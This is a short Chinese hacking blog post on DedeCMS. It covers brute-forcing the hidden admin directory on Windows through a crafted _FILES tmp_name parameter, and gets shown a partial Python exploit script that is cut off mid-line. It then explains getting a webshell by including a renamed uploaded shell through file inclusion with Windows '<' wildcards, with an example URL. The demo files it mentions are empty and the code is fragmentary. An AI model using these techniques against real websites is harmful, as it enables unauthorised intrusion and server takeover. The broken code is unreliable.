解决DEDECMS历史难题--找后台目录

0x01 dedecms 后台地址爆破

详细分析见文章：https://xianzhi.aliyun.com/forum/topic/2064

关键点：

1. Windows环境
2. 存在包含了Common.inc.php的php文件，如tags.php
3. 如何使用的是其他文件，如/plus/diy.php，则payload前面需要加../跳转到上一级目录

文章提供了一个php的exp，评论区也有其他的exp，我简单搞了一下py脚本，有点拙劣，但还算能用：

#coding:utf-8
#author:JuH0n
import requests

def sendpayload(url,payload):
    data = {'dopost':'save',
        '_FILES[b4dboy][tmp_name]':'./' + payload + '

0x02 通配符突破文件上传重命名getshell

然后还有一个奇淫技巧，就是当我们上传一个shell被重命名的时候，我们可以利用文件包含和通配符<或者<<来包含shell，从而达到getshell的目的。
新建两个文件，5149ff33ebec0e6ad37613ea30694c07.php、demo.php。

#5149ff33ebec0e6ad37613ea30694c07.php

# demo.php

访问 http://localhost/demo.php?file=5<，即可成功包含5149ff33ebec0e6ad37613ea30694c07.php文件。

参考：奇技淫巧 | 读DEDECMS找后台目录有感